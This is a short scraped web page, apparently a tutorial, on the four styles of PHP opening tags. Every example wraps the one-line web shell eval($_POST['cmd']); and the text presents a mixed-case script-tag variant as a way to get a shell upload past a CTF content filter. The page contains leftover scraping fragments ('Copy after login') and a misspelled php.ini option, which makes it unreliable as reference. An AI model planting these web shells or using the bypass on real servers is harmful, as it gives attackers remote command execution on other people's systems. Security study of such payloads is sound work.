PHP logo has 4 styles
XML style ##PHP video tutorial)
<?php
eval($_POST['cmd']);
?>
Copy after login
php recommended markup style.
Server administrators cannot disable it, and this style can be used on all servers.
Script style
<script language="php">
eval($_POST['cmd']);
</script>Copy after login
It is enabled by default and cannot be disabled
The author once encountered a CTF question that required uploading a shell, but it failed The file content is filtered,
<script language="PhP">
eval($_POST['cmd']);
</script>Copy after login
Short style
<?
eval($_POST['cmd']);
?>
Copy after login
This style needs to be configured in Enable the short_open_tage option in the file php.ini
This style is not supported by default in many environments
ASP style
<%
eval($_POST['cmd']);
%>
Copy after login
This style The asp_tag option needs to be enabled in the configuration file php.ini
It is disabled by default
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